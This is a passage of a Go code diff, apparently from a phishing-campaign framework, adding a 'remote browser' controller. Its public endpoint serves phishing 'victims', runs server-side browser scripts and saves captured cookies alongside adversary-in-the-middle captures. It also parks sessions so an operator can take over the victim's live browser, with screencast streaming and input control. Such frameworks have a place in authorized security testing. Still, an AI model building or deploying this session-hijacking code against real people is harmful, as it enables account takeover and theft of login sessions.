*gin.Context) bool { + if !m.Enabled { + g.AbortWithStatus(http.StatusNotFound) + return false + } + return true +} + +// Create creates a remote browser script. +func (m *RemoteBrowserController) Create(g *gin.Context) { + if !m.isEnabled(g) { + return + } + session, _, ok := m.handleSession(g) + if !ok { + return + } + var req model.RemoteBrowser + if ok := m.handleParseRequest(g, &req); !ok { + return + } + id, err := m.RemoteBrowserService.Create(g.Request.Context(), session, &req) + if ok := m.handleErrors(g, err); !ok { + return + } + m.Response.OK(g, map[string]string{"id": id.String()}) +} + +// GetOverview returns a lightweight list of remote browsers. +func (m *RemoteBrowserController) GetOverview(g *gin.Context) { + if !m.isEnabled(g) { + return + } + session, _, ok := m.handleSession(g) + if !ok { + return + } + queryArgs, ok := m.handleQueryArgs(g) + if !ok { + return + } + queryArgs.DefaultSortByUpdatedAt() + queryArgs.RemapOrderBy(RemoteBrowserColumnsMap) + companyID := companyIDFromRequestQuery(g) + + result, err := m.RemoteBrowserService.GetAllOverview( + companyID, + g.Request.Context(), + session, + &repository.RemoteBrowserOption{QueryArgs: queryArgs}, + ) + if ok := m.handleErrors(g, err); !ok { + return + } + m.Response.OK(g, result) +} + +// GetAll returns full remote browser records with pagination. +func (m *RemoteBrowserController) GetAll(g *gin.Context) { + if !m.isEnabled(g) { + return + } + session, _, ok := m.handleSession(g) + if !ok { + return + } + queryArgs, ok := m.handleQueryArgs(g) + if !ok { + return + } + queryArgs.DefaultSortByUpdatedAt() + queryArgs.RemapOrderBy(RemoteBrowserColumnsMap) + companyID := companyIDFromRequestQuery(g) + + result, err := m.RemoteBrowserService.GetAll( + g.Request.Context(), + session, + companyID, + &repository.RemoteBrowserOption{QueryArgs: queryArgs}, + ) + if ok := m.handleErrors(g, err); !ok { + return + } + m.Response.OK(g, result) +} + +// GetByID returns a single remote browser. +func (m *RemoteBrowserController) GetByID(g *gin.Context) { + if !m.isEnabled(g) { + return + } + session, _, ok := m.handleSession(g) + if !ok { + return + } + id, ok := m.handleParseIDParam(g) + if !ok { + return + } + rb, err := m.RemoteBrowserService.GetByID(g.Request.Context(), session, id, &repository.RemoteBrowserOption{}) + if ok := m.handleErrors(g, err); !ok { + return + } + m.Response.OK(g, rb) +} + +// UpdateByID updates a remote browser. +func (m *RemoteBrowserController) UpdateByID(g *gin.Context) { + if !m.isEnabled(g) { + return + } + session, _, ok := m.handleSession(g) + if !ok { + return + } + id, ok := m.handleParseIDParam(g) + if !ok { + return + } + var req model.RemoteBrowser + if ok := m.handleParseRequest(g, &req); !ok { + return + } + err := m.RemoteBrowserService.UpdateByID(g.Request.Context(), session, id, &req) + if ok := m.handleErrors(g, err); !ok { + return + } + m.Response.OK(g, map[string]string{"message": "Remote browser updated"}) +} + +// DeleteByID deletes a remote browser. +func (m *RemoteBrowserController) DeleteByID(g *gin.Context) { + if !m.isEnabled(g) { + return + } + session, _, ok := m.handleSession(g) + if !ok { + return + } + id, ok := m.handleParseIDParam(g) + if !ok { + return + } + err := m.RemoteBrowserService.DeleteByID(g.Request.Context(), session, id) + if ok := m.handleErrors(g, err); !ok { + return + } + m.Response.OK(g, map[string]string{"message": "Remote browser deleted"}) +} + +// RunByID upgrades to WebSocket and executes the saved script, streaming +// RunEvents back in real time. The client may send {"type":"stop"} to abort. +func (m *RemoteBrowserController) RunByID(g *gin.Context) { + if !m.isEnabled(g) { + return + } + session, _, ok := m.handleSession(g) + if !ok { + return + } + id, ok := m.handleParseIDParam(g) + if !ok { + return + } + + rb, err := m.RemoteBrowserService.GetByID(g.Request.Context(), session, id, &repository.RemoteBrowserOption{}) + if ok := m.handleErrors(g, err); !ok { + return + } + + cfg := modelConfigToRunnerConfig(rb.Config) + + conn, err := wsUpgrader.Upgrade(g.Writer, g.Request, nil) + if err != nil { + m.Logger.Warnw("websocket upgrade failed", "error", err) + return + } + defer conn.Close() + conn.SetReadLimit(64 * 1024) + + scriptVal, _ := rb.Script.Get() + script := scriptVal.String() + runner := remotebrowser.NewRunner(script, cfg) + runner.ExecPath = m.ExecPath + runner.Logger = m.Logger + + ctx, cancel := context.WithCancel(g.Request.Context()) + defer cancel() + + // Register a synthetic activeSession so StreamLiveSession can stream this test run. + // Key is the script UUID, which won't collide with victim crIDs (campaign-recipient UUIDs). + sess := &activeSession{ + cancel: cancel, + CRID: *id, + CreatedAt: time.Now(), + isTest: true, + } + if prev, hadPrev := m.RemoteBrowserService.SwapSession(id.String(), sess); hadPrev { + prev.Cancel() + } + defer m.RemoteBrowserService.CompareAndDeleteSession(id.String(), sess) + + // Forward BrowserCh into the session so StreamLiveSession sees a non-nil page. + go func() { + select { + case page := <-runner.BrowserCh: + sess.setBrowserPage(page) + case <-ctx.Done(): + } + }() + + // Tell the frontend the session ID to use for View/Control streaming. + if sessionMsg, err := json.Marshal(map[string]string{"type": "session", "id": id.String()}); err == nil { + conn.WriteMessage(websocket.TextMessage, sessionMsg) //nolint:errcheck + } + + // Read loop: route {"type":"stop"} to cancel; {"event":"..","data":{}} to runner.Incoming. + go func() { + for { + _, msg, err := conn.ReadMessage() + if err != nil { + cancel() + return + } + var cmd struct { + Type string `json:"type"` + Event string `json:"event"` + Data json.RawMessage `json:"data"` + } + if json.Unmarshal(msg, &cmd) != nil { + continue + } + if cmd.Type == "stop" { + cancel() + return + } + if cmd.Event != "" { + var data interface{} + if len(cmd.Data) > 0 { + json.Unmarshal(cmd.Data, &data) //nolint:errcheck + } + select { + case runner.Incoming <- remotebrowser.IncomingMsg{Event: cmd.Event, Data: data}: + default: + } + } + } + }() + + // Drain StreamCh — test runner doesn't serve cropped streams. + go func() { + for range runner.StreamCh { + } + }() + + // Run the script in a goroutine; Events channel is closed when done. + go runner.Run(ctx) //nolint:errcheck + + // Write loop: forward every RunEvent to the WebSocket client. + for evt := range runner.Events { + data, err := json.Marshal(evt) + if err != nil { + continue + } + if err := conn.WriteMessage(websocket.TextMessage, data); err != nil { + return + } + } +} + +// ServeVictim is the public (no auth) WebSocket endpoint that victims connect to. +// The URL is //:crID/:rbID where crID is the campaign recipient ID +// (the tracking token already embedded in the phishing page via {{.rID}}) and rbID +// is the remote browser script to run. +// +// The handler bridges victim WebSocket messages into the runner's Incoming channel and +// forwards runner events back to the victim. When the runner emits a "capture" event +// the cookies are saved as a CampaignEvent so they appear alongside AITM captures. +func (m *RemoteBrowserController) ServeVictim(g *gin.Context) { + if !m.isEnabled(g) { + return + } + crID, err := uuid.Parse(g.Param("crID")) + if err != nil { + g.AbortWithStatus(http.StatusNotFound) + return + } + rbID, err := uuid.Parse(g.Param("rbID")) + if err != nil { + g.AbortWithStatus(http.StatusNotFound) + return + } + + // look up campaign recipient to get campaignID / recipientID for capture saving + cr, err := m.CampaignRecipientRepository.GetByCampaignRecipientID(g.Request.Context(), &crID) + if err != nil { + g.AbortWithStatus(http.StatusNotFound) + return + } + + // look up remote browser script directly (no admin session on this public endpoint) + rb, err := m.RemoteBrowserRepository.GetByID(g.Request.Context(), &rbID, &repository.RemoteBrowserOption{}) + if err != nil { + g.AbortWithStatus(http.StatusNotFound) + return + } + + // verify the script belongs to the same company as the + // campaign. A script with no company (nil) is global and usable by any campaign. + if rbCompany, err := rb.CompanyID.Get(); err == nil { + cid, cidErr := cr.CampaignID.Get() + if cidErr != nil { + g.AbortWithStatus(http.StatusNotFound) + return + } + campaign, campErr := m.CampaignRepository.GetByID(g.Request.Context(), &cid, &repository.CampaignOption{}) + if campErr != nil { + g.AbortWithStatus(http.StatusNotFound) + return + } + campCompany, campCompanyErr := campaign.CompanyID.Get() + if campCompanyErr != nil || campCompany != rbCompany { + g.AbortWithStatus(http.StatusNotFound) + return + } + } + + cfg := modelConfigToRunnerConfig(rb.Config) + + conn, err := wsUpgrader.Upgrade(g.Writer, g.Request, nil) + if err != nil { + return + } + defer conn.Close() + conn.SetReadLimit(64 * 1024) + + var connMu sync.Mutex + + scriptVal, _ := rb.Script.Get() + runner := remotebrowser.NewRunner(scriptVal.String(), cfg) + runner.ExecPath = m.ExecPath + runner.Logger = m.Logger + + campaignID, err1 := cr.CampaignID.Get() + recipientID, err2 := cr.RecipientID.Get() + if err1 != nil || err2 != nil { + g.AbortWithStatus(http.StatusInternalServerError) + return + } + + // Use a background context for the runner so the victim's HTTP connection + // closing (which cancels g.Request.Context()) does not kill a keepAlive + // session. The session lifetime is controlled explicitly via cancel(). + ctx, cancel := context.WithCancel(context.Background()) + sess := &activeSession{ + cancel: cancel, + CampaignID: campaignID, + RecipientID: recipientID, + CRID: crID, + CreatedAt: time.Now(), + } + sess.victimConnected.Store(true) + + // One active session per campaign recipient — cancel any previous one. + // Exception: if the previous session is in keepAlive state the script has + // parked and is waiting for operator takeover; cancelling it would destroy + // a live browser the operator may be about to use. In that case put the + // old session back and drop the new connection instead. + crIDStr := crID.String() + if prev, hadPrev := m.RemoteBrowserService.SwapSession(crIDStr, sess); hadPrev { + if prev.IsKeepAlive() { + m.RemoteBrowserService.StoreSession(crIDStr, prev) + cancel() + return + } + prev.Cancel() + } + defer func() { + // For keepAlive sessions the runner is still parked waiting for the + // operator — do not cancel or remove it here. CloseLiveSession handles + // cleanup when the operator explicitly ends the session. + if !sess.isKeepAlive.Load() { + m.RemoteBrowserService.CompareAndDeleteSession(crIDStr, sess) + cancel() + } + }() + + var activeNamedStreams sync.Map // name → *streamInfo + + // victimVP stores the victim's viewport size sent on connect. + // Stored as int64 atomics so they can be read from the BrowserCh goroutine + // without a mutex; 0 means "not yet received". + var vpWidth, vpHeight atomic.Int64 + + // applyViewport sets the emulated viewport on the rod page if we have both a page + // and a non-zero victim viewport. + applyViewport := func(page *rod.Page) { + w := vpWidth.Load() + h := vpHeight.Load() + if w <= 0 || h <= 0 || page == nil { + return + } + proto.EmulationSetDeviceMetricsOverride{ + Width: int(w), Height: int(h), DeviceScaleFactor: 1, + }.Call(page) //nolint:errcheck + } + + // Read loop: forward victim events into the runner; route stream_input with coord offset. + go func() { + for { + _, msg, err := conn.ReadMessage() + if err != nil { + sess.victimConnected.Store(false) + // keepAlive: browser is parked for operator takeover — a victim + // disconnect must not kill the session, the operator still needs it. + if !sess.isKeepAlive.Load() { + cancel() + } + return + } + var cmd struct { + Type string `json:"type"` + Event string `json:"event"` + Data json.RawMessage `json:"data"` + Name string `json:"name"` + Action string `json:"action"` + X float64 `json:"x"` + Y float64 `json:"y"` + Button string `json:"button"` + DeltaX float64 `json:"deltaX"` + DeltaY float64 `json:"deltaY"` + Key string `json:"key"` + Code string `json:"code"` + KeyCode int64 `json:"keyCode"` + Modifiers int64 `json:"modifiers"` + CharText string `json:"charText"` + Width float64 `json:"width"` + Height float64 `json:"height"` + } + if json.Unmarshal(msg, &cmd) != nil { + continue + } + if cmd.Type == "viewport" && cmd.Width > 0 && cmd.Height > 0 { + vpWidth.Store(int64(cmd.Width)) + vpHeight.Store(int64(cmd.Height)) + applyViewport(sess.getBrowserPage()) + continue + } + if cmd.Type == "stream_input" && cmd.Name != "" && cmd.Action != "" { + if val, exists := activeNamedStreams.Load(cmd.Name); exists { + si := val.(*streamInfo) + // cmd.X/Y are in cropped-canvas JPEG pixels; map back to CDP CSS coords. + cdpX, cdpY, ok := si.getInputCoords(cmd.X, cmd.Y) + if ok { + if page := sess.getBrowserPage(); page != nil { + adjusted, _ := json.Marshal(map[string]interface{}{ + "type": cmd.Action, + "x": cdpX, + "y": cdpY, + "button": cmd.Button, + "deltaX": cmd.DeltaX, + "deltaY": cmd.DeltaY, + "key": cmd.Key, + "code": cmd.Code, + "keyCode": cmd.KeyCode, + "modifiers": cmd.Modifiers, + "charText": cmd.CharText, + }) + m.dispatchInput(page, adjusted) + } + } + } + continue + } + if cmd.Event == "" { + continue + } + var eventData interface{} + json.Unmarshal(cmd.Data, &eventData) //nolint:errcheck + select { + case runner.Incoming <- remotebrowser.IncomingMsg{Event: cmd.Event, Data: eventData}: + default: + } + } + }() + + go runner.Run(ctx) //nolint:errcheck + + // As soon as the browser spawns, mark the session as streamable and apply + // the victim viewport if it was already received before the browser was ready. + go func() { + select { + case <-ctx.Done(): + case page := <-runner.BrowserCh: + sess.setBrowserPage(page) + applyViewport(page) + } + }() + + // Watch for s.stream(selector, name) / stop() calls from the script. + go func() { + for { + select { + case <-ctx.Done(): + return + case cmd, ok := <-runner.StreamCh: + if !ok { + return + } + if cmd.Op == "start" { + if val, exists := activeNamedStreams.LoadAndDelete(cmd.Name); exists { + val.(*streamInfo).cancel() + } + streamCtx, streamCancel := context.WithCancel(cmd.Page.GetContext()) + si := &streamInfo{cancel: streamCancel, maxFps: cmd.MaxFps, quality: cmd.Quality} + activeNamedStreams.Store(cmd.Name, si) + go m.runNamedStream(streamCtx, cmd.Page, &connMu, conn, cmd.Selector, cmd.Name, si) + } else if cmd.Op == "stop" { + if val, exists := activeNamedStreams.LoadAndDelete(cmd.Name); exists { + val.(*streamInfo).cancel() + } + } + } + } + }() + + clientIP := utils.ExtractClientIP(g.Request) + userAgent := g.Request.UserAgent() + + // processEvent handles server-side effects for a RunEvent (DB writes, session state + // updates). Uses context.Background() so a victim disconnect does not cause DB writes + // to fail mid-flight. + processEvent := func(evt remotebrowser.RunEvent) { + switch evt.Type { + case "capture": + m.saveCaptureEvent(context.Background(), g.Request, &campaignID, &recipientID, evt.Value, clientIP, userAgent) + case "submit": + m.saveSubmitEvent(context.Background(), g.Request, &campaignID, &recipientID, evt.Value, clientIP, userAgent) + case "error": + m.saveInfoEvent(context.Background(), &campaignID, &recipientID, evt.Message, clientIP, userAgent) + case "info": + m.saveInfoEvent(context.Background(), &campaignID, &recipientID, evt.Message, clientIP, userAgent) + case "keep_alive": + sess.isKeepAlive.Store(true) + select { + case page := <-runner.LiveCh: + sess.setBrowserPage(page) + m.saveInfoEvent(context.Background(), &campaignID, &recipientID, "remote browser session available for takeover", clientIP, userAgent) + default: + } + case "log": + m.Logger.Debugw(evt.Message, "campaign_id", campaignID, "recipient_id", recipientID) + } + } + + // Write loop: forward script events back to the victim page and handle server-side + // effects. Uses a select so it exits when the victim's HTTP connection closes without + // cancelling the runner (which must stay alive for keepAlive sessions). + // On disconnect, drain any buffered events so a keep_alive arriving simultaneously + // with the disconnect is not silently lost. + reqCtx := g.Request.Context() + for { + select { + case <-reqCtx.Done(): + // Victim disconnected. Non-blocking drain of buffered events to catch + // a keep_alive or capture that arrived at the same time as the disconnect. + for { + select { + case evt, ok := <-runner.Events: + if !ok { + return + } + processEvent(evt) + default: + return + } + } + case evt, ok := <-runner.Events: + if !ok { + return + } + processEvent(evt) + if evt.Type == "log" || evt.Type == "capture" || evt.Type == "submit" || + evt.Type == "keep_alive" || evt.Type == "info" || evt.Type == "error" || + evt.Type == "screenshot" { + continue + } + payload, err := json.Marshal(map[string]interface{}{ + "type": evt.Type, + "key": evt.Key, + "value": evt.Value, + }) + if err != nil { + continue + } + connMu.Lock() + writeErr := conn.WriteMessage(websocket.TextMessage, payload) + connMu.Unlock() + if writeErr != nil { + return + } + } + } +} + +// liveSessionInfo is the JSON shape returned by the live session list/get endpoints. +type liveSessionInfo struct { + CRID string `json:"crID"` + CampaignID string `json:"campaignID"` + RecipientID string `json:"recipientID"` + CreatedAt time.Time `json:"createdAt"` + VictimConnected bool `json:"victimConnected"` + CanStream bool `json:"canStream"` // true once newSession() has spawned a browser +} + +func (m *RemoteBrowserController) sessionToInfo(sess *activeSession) liveSessionInfo { + return liveSessionInfo{ + CRID: sess.CRID.String(), + CampaignID: sess.CampaignID.String(), + RecipientID: sess.RecipientID.String(), + CreatedAt: sess.CreatedAt, + VictimConnected: sess.victimConnected.Load(), + CanStream: sess.getBrowserPage() != nil, + } +} + +// ListLiveSessions returns all active victim sessions for the campaign, optionally +// filtered by campaignID query param. +func (m *RemoteBrowserController) ListLiveSessions(g *gin.Context) { + if !m.isEnabled(g) { + return + } + session, _, ok := m.handleSession(g) + if !ok { + return + } + if authorized, err := service.IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL); err != nil || !authorized { + if err != nil { + m.Logger.Warnw("IsAuthorized error in ListLiveSessions", "error", err) + } + m.Response.Forbidden(g) + return + } + campaignFilter := g.Query("campaignID") + var sessions []liveSessionInfo + m.RemoteBrowserService.RangeSessions(func(_ string, val service.LiveSession) bool { + sess := val.(*activeSession) + if sess.isTest { + return true + } + if campaignFilter == "" || sess.CampaignID.String() == campaignFilter { + sessions = append(sessions, m.sessionToInfo(sess)) + } + return true + }) + if sessions == nil { + sessions = []liveSessionInfo{} + } + m.Response.OK(g, sessions) +} + +// CloseLiveSession terminates an active victim session by cancelling its context. +func (m *RemoteBrowserController) CloseLiveSession(g *gin.Context) { + if !m.isEnabled(g) { + return + } + session, _, ok := m.handleSession(g) + if !ok { + return + } + if authorized, err := service.IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL); err != nil || !authorized { + if err != nil { + m.Logger.Warnw("IsAuthorized error in CloseLiveSession", "error", err) + } + m.Response.Forbidden(g) + return + } + crID := g.Param("crID") + val, loaded := m.RemoteBrowserService.LoadAndDeleteSession(crID) + if !loaded { + g.AbortWithStatus(http.StatusNotFound) + return + } + val.Cancel() + m.Response.OK(g, map[string]string{"message": "live session closed"}) +} + +// StreamLiveSession upgrades to WebSocket and streams a CDP screencast of the +// active browser tab to the admin. When mode=control the admin's mouse and +// keyboard input is forwarded back into the browser. New tabs opened by the +// victim are auto-tracked; the admin can switch between them or close them via +// switch_tab / close_tab WS messages. +func (m *RemoteBrowserController) StreamLiveSession(g *gin.Context) { + if !m.isEnabled(g) { + return + } + session, _, ok := m.handleSession(g) + if !ok { + return + } + if authorized, err := service.IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL); err != nil || !authorized { + if err != nil { + m.Logger.Warnw("IsAuthorized error in StreamLiveSession", "error", err) + } + m.Response.Forbidden(g) + return + } + crIDStr := g.Param("crID") + val, exists := m.RemoteBrowserService.LoadSession(crIDStr) + if !exists { + g.AbortWithStatus(http.StatusNotFound) + return + } + sess := val.(*activeSession) + page := sess.getBrowserPage() + if page == nil { + // newSession() has not been called yet in the script + g.AbortWithStatus(http.StatusServiceUnavailable) + return + } + controlMode := g.Query("mode") == "control" + + conn, err := wsUpgrader.Upgrade(g.Writer, g.Request, nil) + if err != nil { + return + } + defer conn.Close() + conn.SetReadLimit(64 * 1024) + + // Derived from outerCtx so the stream also ends when the victim session ends. + streamCtx, streamCancel := context.WithCancel(page.GetContext()) + defer streamCancel() + + type tabEntry struct { + page *rod.Page + url string + } + var tabsMu sync.Mutex + tabs := map[proto.TargetTargetID]*tabEntry{ + page.TargetID: {page: page, url: ""}, + } + + var activePageMu sync.RWMutex + activePageVal := page + getActivePage := func() *rod.Page { + activePageMu.RLock() + defer activePageMu.RUnlock() + return activePageVal + } + setActivePage := func(p *rod.Page) { + activePageMu.Lock() + defer activePageMu.Unlock() + activePageVal = p + } + + // Shared across tab switches; all feed into the write loop below. + frameCh := make(chan *proto.PageScreencastFrame, 8) + urlCh := make(chan string, 4) + switchCh := make(chan *rod.Page, 1) + // notifyCh routes pre-encoded JSON from background goroutines to the write + // loop, which is the sole writer on conn. + notifyCh := make(chan []byte, 8) + + sendTabList := func() { + active := getActivePage() + tabsMu.Lock() + type tabMsg struct { + TargetID string `json:"targetID"` + URL string `json:"url"` + Active bool `json:"active"` + } + list := make([]tabMsg, 0, len(tabs)) + for tid, e := range tabs { + list = append(list, tabMsg{ + TargetID: string(tid), + URL: e.url, + Active: active != nil && tid == active.TargetID, + }) + } + tabsMu.Unlock() + payload, err := json.Marshal(map[string]any{"type": "tabs", "tabs": list}) + if err != nil { + return + } + select { + case notifyCh <- payload: + default: + } + } + + // pageCancel is reset by startOnPage on every tab switch; the outer variable + // persists so the defer and subsequent calls can cancel the previous context. + var pageCancel context.CancelFunc + + liveQ, liveW, liveH, liveN := 80, 1280, 800, 1 + startScreencastParams := proto.PageStartScreencast{ + Format: proto.PageStartScreencastFormatJpeg, + Quality: &liveQ, + MaxWidth: &liveW, + MaxHeight: &liveH, + EveryNthFrame: &liveN, + } + + // startOnPage switches the active screencast to p. It cancels the previous + // page's EachEvent subscription and screencast before starting new ones. + // Must only be called from the write loop goroutine. + startOnPage := func(p *rod.Page) { + if pageCancel != nil { + pageCancel() + proto.PageStopScreencast{}.Call(getActivePage()) //nolint:errcheck + } + setActivePage(p) + // Foreground the tab so Chrome doesn't throttle its rendering pipeline. + proto.TargetActivateTarget{TargetID: p.TargetID}.Call(p.Browser()) //nolint:errcheck + var pageCtx context.Context + pageCtx, pageCancel = context.WithCancel(streamCtx) + streamPage := p.Context(pageCtx) + wait := streamPage.EachEvent( + func(e *proto.PageScreencastFrame) (stop bool) { + select { + case frameCh <- e: + default: + } + return + }, + func(e *proto.PageFrameNavigated) (stop bool) { + if e.Frame != nil && e.Frame.ParentID == "" { + tabsMu.Lock() + if entry, ok := tabs[p.TargetID]; ok { + entry.url = e.Frame.URL + } + tabsMu.Unlock() + select { + case urlCh <- e.Frame.URL: + default: + } + } + return + }, + func(e *proto.PageNavigatedWithinDocument) (stop bool) { + tabsMu.Lock() + if entry, ok := tabs[p.TargetID]; ok { + entry.url = e.URL + } + tabsMu.Unlock() + select { + case urlCh <- e.URL: + default: + } + return + }, + ) + go wait() + startScreencastParams.Call(p) //nolint:errcheck + // Idle headless pages don't generate screencast frames until Chrome renders. + // bringToFront activates the tab's rendering pipeline; the fallback goroutine + // schedules a rAF if no frame arrives within a second (handles headless modes + // where bringToFront is a no-op). + proto.PageBringToFront{}.Call(p) //nolint:errcheck + go func() { + t := time.NewTimer(time.Second) + defer t.Stop() + select { + case <-pageCtx.Done(): + return + case <-t.C: + } + if len(frameCh) == 0 { + proto.RuntimeEvaluate{Expression: "window.requestAnimationFrame(function(){void 0})"}.Call(p) //nolint:errcheck + } + }() + } + + startOnPage(page) + defer func() { + if pageCancel != nil { + pageCancel() + } + // Do NOT call PageStopScreencast here: the admin disconnecting and a new + // admin connecting run concurrently. Stopping the screencast on disconnect + // races with the incoming startScreencastParams and kills the new session. + // Chrome keeps a pending frame until the next startScreencastParams resets it. + }() + + if info, err := page.Info(); err == nil && info.URL != "" { + tabsMu.Lock() + if e, ok := tabs[page.TargetID]; ok { + e.url = info.URL + } + tabsMu.Unlock() + if payload, err := json.Marshal(map[string]string{"type": "url", "value": info.URL}); err == nil { + conn.WriteMessage(websocket.TextMessage, payload) //nolint:errcheck + } + } + // Write loop hasn't started yet so it's safe to write directly here. + { + type tabMsg struct { + TargetID string `json:"targetID"` + URL string `json:"url"` + Active bool `json:"active"` + } + tabsMu.Lock() + list := make([]tabMsg, 0, len(tabs)) + for tid, e := range tabs { + list = append(list, tabMsg{TargetID: string(tid), URL: e.url, Active: tid == page.TargetID}) + } + tabsMu.Unlock() + if payload, err := json.Marshal(map[string]any{"type": "tabs", "tabs": list}); err == nil { + conn.WriteMessage(websocket.TextMessage, payload) //nolint:errcheck + } + } + + go func() { + defer func() { recover() }() //nolint:errcheck + watchBrowser := page.Browser().Context(streamCtx) + wait := watchBrowser.EachEvent( + func(e *proto.TargetTargetCreated) bool { + info := e.TargetInfo + if info == nil || info.Type != proto.TargetTargetInfoTypePage { + return false + } + // Only track tabs whose opener is already in our tab map. + if info.OpenerID == "" { + return false + } + tabsMu.Lock() + _, openerKnown := tabs[proto.TargetTargetID(info.OpenerID)] + tabsMu.Unlock() + if !openerKnown { + return false + } + newPage, err := page.Browser().PageFromTarget(info.TargetID) + if err != nil { + return false + } + tabsMu.Lock() + tabs[info.TargetID] = &tabEntry{page: newPage, url: info.URL} + tabsMu.Unlock() + select { + case switchCh <- newPage: + default: + } + return false + }, + func(e *proto.TargetTargetDestroyed) bool { + tabsMu.Lock() + delete(tabs, e.TargetID) + var fallback *rod.Page + for _, entry := range tabs { + fallback = entry.page + break + } + tabsMu.Unlock() + if ap := getActivePage(); ap != nil && ap.TargetID == e.TargetID && fallback != nil { + select { + case switchCh <- fallback: + default: + } + } + go sendTabList() + return false + }, + func(e *proto.TargetTargetInfoChanged) bool { + info := e.TargetInfo + if info == nil || info.Type != proto.TargetTargetInfoTypePage { + return false + } + tabsMu.Lock() + if entry, ok := tabs[info.TargetID]; ok { + entry.url = info.URL + } + tabsMu.Unlock() + go sendTabList() + return false + }, + ) + wait() + }() + + // switch_tab and close_tab are accepted in both view and control mode. + // Mouse/keyboard dispatch only runs in control mode. + go func() { + for { + _, msg, err := conn.ReadMessage() + if err != nil { + return + } + var header struct { + Type string `json:"type"` + TargetID string `json:"targetID"` + } + if json.Unmarshal(msg, &header) != nil { + continue + } + switch header.Type { + case "switch_tab": + tabsMu.Lock() + entry, ok := tabs[proto.TargetTargetID(header.TargetID)] + tabsMu.Unlock() + if ok { + select { + case switchCh <- entry.page: + default: + } + } + case "close_tab": + tabsMu.Lock() + entry, ok := tabs[proto.TargetTargetID(header.TargetID)] + tabsMu.Unlock() + if ok { + // TargetTargetDestroyed fires next; the EachEvent handler above + // removes the entry and switches to a fallback tab if needed. + proto.TargetCloseTarget{TargetID: proto.TargetTargetID(header.TargetID)}.Call(entry.page.Browser()) //nolint:errcheck + } + default: + if controlMode { + m.dispatchInput(getActivePage(), msg) + } + } + } + }() + + for { + select { + case <-page.GetContext().Done(): + conn.WriteMessage(websocket.TextMessage, []byte(`{"type":"closed"}`)) //nolint:errcheck + return + case <-g.Request.Context().Done(): + return + case newPage := <-switchCh: + startOnPage(newPage) + // p.Info() is a CDP round-trip; run it off the write loop. + go func(p *rod.Page) { + if info, err := p.Info(); err == nil && info.URL != "" { + tabsMu.Lock() + if e, ok := tabs[p.TargetID]; ok { + e.url = info.URL + } + tabsMu.Unlock() + if payload, err := json.Marshal(map[string]string{"type": "url", "value": info.URL}); err == nil { + select { + case notifyCh <- payload: + default: + } + } + } + sendTabList() + }(newPage) + case payload := <-notifyCh: + if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil { + return + } + case u := <-urlCh: + payload, err := json.Marshal(map[string]string{"type": "url", "value": u}) + if err != nil { + continue + } + if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil { + return + } + case frame, ok := <-frameCh: + if !ok { + return + } + proto.PageScreencastFrameAck{SessionID: frame.SessionID}.Call(getActivePage()) //nolint:errcheck + var frameW, frameH float64 + if frame.Metadata != nil { + frameW = frame.Metadata.DeviceWidth + frameH = frame.Metadata.DeviceHeight + } + payload, err := json.Marshal(map[string]any{ + "type": "frame", + "data": base64.StdEncoding.EncodeToString(frame.Data), + "width": frameW, + "height": frameH, + }) + if err != nil { + continue + } + if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil { + return + } + } + } +} + +// dispatchInput routes a JSON input message from the admin WS into the browser via rod proto. +func (m *RemoteBrowserController) dispatchInput(page *rod.Page, msg []byte) { + var cmd struct { + Type string `json:"type"` + X float64 `json:"x"` + Y float64 `json:"y"` + Button string `json:"button"` + DeltaX float64 `json:"deltaX"` + DeltaY float64 `json:"deltaY"` + Key string `json:"key"` + Code string `json:"code"` + KeyCode int64 `json:"keyCode"` + Modifiers int64 `json:"modifiers"` + CharText string `json:"charText"` // non-empty when keydown should also fire a char event + Text string `json:"text"` // paste payload + URL string `json:"url"` // navigate target + } + if json.Unmarshal(msg, &cmd) != nil { + return + } + btn := proto.InputMouseButtonLeft + if cmd.Button == "right" { + btn = proto.InputMouseButtonRight + } + mods := int(cmd.Modifiers) + switch cmd.Type { + case "mousemove": + proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMouseMoved, + X: cmd.X, Y: cmd.Y, Modifiers: mods, + }.Call(page) //nolint:errcheck + case "mousedown": + proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMousePressed, + X: cmd.X, Y: cmd.Y, Button: btn, ClickCount: 1, Modifiers: mods, + }.Call(page) //nolint:errcheck + case "mouseup": + proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMouseReleased, + X: cmd.X, Y: cmd.Y, Button: btn, ClickCount: 1, Modifiers: mods, + }.Call(page) //nolint:errcheck + case "scroll": + proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMouseWheel, + X: cmd.X, Y: cmd.Y, DeltaX: cmd.DeltaX, DeltaY: cmd.DeltaY, Modifiers: mods, + }.Call(page) //nolint:errcheck + case "keydown": + proto.InputDispatchKeyEvent{ + Type: proto.InputDispatchKeyEventTypeKeyDown, + Key: cmd.Key, + Code: cmd.Code, + WindowsVirtualKeyCode: int(cmd.KeyCode), + NativeVirtualKeyCode: int(cmd.KeyCode), + Modifiers: mods, + }.Call(page) //nolint:errcheck + if ct := cmd.CharText; ct != "" { + proto.InputDispatchKeyEvent{ + Type: proto.InputDispatchKeyEventTypeChar, + Key: ct, + Text: ct, + UnmodifiedText: ct, + Modifiers: mods, + }.Call(page) //nolint:errcheck + } + case "keyup": + proto.InputDispatchKeyEvent{ + Type: proto.InputDispatchKeyEventTypeKeyUp, + Key: cmd.Key, + Code: cmd.Code, + WindowsVirtualKeyCode: int(cmd.KeyCode), + NativeVirtualKeyCode: int(cmd.KeyCode), + Modifiers: mods, + }.Call(page) //nolint:errcheck + case "paste": + page.InsertText(cmd.Text) //nolint:errcheck + case "navigate": + if cmd.URL != "" { + page.Navigate(cmd.URL) //nolint:errcheck + } + case "back": + page.NavigateBack() //nolint:errcheck + case "forward": + page.NavigateForward() //nolint:errcheck + } +} + +// saveCaptureEvent converts a remote browser capture payload to the same bundle +// format used by AITM captures and saves it as a CampaignEvent so it appears in +// the campaign timeline and can be exported to session replay tools. +func (m *RemoteBrowserController) saveCaptureEvent( + ctx context.Context, + req *http.Request, + campaignID *uuid.UUID, + recipientID *uuid.UUID, + captureValue interface{}, + clientIP string, + userAgent string, +) { + // JSON round-trip so we have a consistent map[string]interface{} regardless of + // 